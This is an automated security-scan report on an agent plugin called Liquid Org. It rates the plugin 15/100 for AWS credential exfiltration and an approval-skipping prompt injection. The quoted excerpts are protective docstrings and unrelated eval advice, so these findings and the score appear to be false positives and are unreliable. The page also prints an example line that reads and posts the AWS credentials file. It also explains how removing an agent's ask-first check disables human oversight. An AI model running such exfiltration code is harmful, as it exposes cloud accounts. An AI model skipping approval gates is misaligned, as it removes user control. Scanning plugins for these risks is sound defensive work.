Liquid Org— plugin

Liquid Org — independently scanned and version-tracked by SaferSkills.

by U0001F3A2·Plugin·github.com/U0001F3A2/liquid-org

Is Liquid Org safe to install?

SaferSkills independently audited Liquid Org (Plugin) and scored it 15/100 (red). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 2 high-severity and 1 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.

Score
15/100
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Re-scan~30s
Latest scan
ScannedJun 24, 2026 · 133d ago
Scans run0 over 90 days
Detectors55 checks · 5 categories
Findings1 warnings · 2 high
EngineSaferSkills 2b638c6
View methodology →
SaferSkills installs
This week0
This month0
All time0
CategoryWeightCategory scoreContribution
Securityprompt, exec, net, exfil, eval
35%
8
2.8 pts
Supply chainhash, typosquat, maintainer, lockfile
20%
100
20.0 pts
Maintenancestaleness, pinning, CI
15%
100
15.0 pts
TransparencySKILL.md, perms, README
15%
100
15.0 pts
Communityinstalls, verify, response
15%
100
15.0 pts

Findings & checks · 3 flagged

Securityscore 8 · 3 findings
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · liquid_org/security.py
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (subprocesses can't read `~/.aws/credentials`, `~…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptliquid_org/security.py· python
163 
164Strips operator credentials. Sets `HOME` to a fresh tempdir so
165subprocesses can't read `~/.aws/credentials`, `~/.gnupg/`, etc.
166Sets `PYTEST_DISABLE_PLUGIN_AUTOLOAD=1` so cloned repos can't
167auto-load arbitrary `pytest11` entry-point plugins (Security
Occurrences
1 occurrence · at L165
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha2562ae82cc9d546cbfd…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_security.py
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it ("""v0.9.1: subprocesses can't read `~/.aws/crede…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_security.py· python
146 
147def test_safe_subprocess_env_overrides_home_to_tmpdir():
148"""v0.9.1: subprocesses can't read `~/.aws/credentials`,
149`~/.gnupg/`, `~/.config/gh/hosts.yml`, etc. because HOME is
150redirected to a fresh tempdir per call."""
Occurrences
1 occurrence · at L148
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha2562ae82cc9d546cbfd…rubric 365aacaView on GitHub
MEDIUMInstruction telling the agent not to ask for approvalSS-SKILL-INJECT-DONT-ASK-01 · Prompt injection · references/EVAL_METHODOLOGY.md
MEDIUM — it fires on intent; the real damage depends on the host agent's own approval-gating.
Why it matters

The text {match} tells the agent to skip the normal "ask the user first" gate. Used adversarially it removes the human-in-the-loop check before destructive or sensitive actions, turning a normally-gated agent into a fire-and-forget executor.

The exact value spotted
excerptreferences/EVAL_METHODOLOGY.md· markdown
146for 30-70% target.
147 
1483. **Stratify results by baseline-success quartile.** Don't ask "does
149retrieval help on task X?" when X is at ceiling. Ask: "On tasks where
150baseline ∈ [40%, 60%], does retrieval lift success by >10%?"
Occurrences
1 occurrence · at L148
How to fix
Remove the approval-skipping instruction, or scope it narrowly to a specific safe, reversible action.
  1. Delete blanket "don't ask / no need to confirm" directives from the skill.
  2. If the skill is a genuine autonomous job, restrict the opt-out to a named non-destructive action rather than all actions.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-DONT-ASK-01sha25615dae9807bd892c6…rubric 365aacaView on GitHub
Supply chainscore 100 · 0 findings
✓—All supply chain checks passedNo findings in this category for the latest scan.pass
Maintenancescore 100 · 0 findings
✓—All maintenance checks passedNo findings in this category for the latest scan.pass
Transparencyscore 100 · 0 findings
✓—All transparency checks passedNo findings in this category for the latest scan.pass
Communityscore 100 · 0 findings
✓—All community checks passedNo findings in this category for the latest scan.pass
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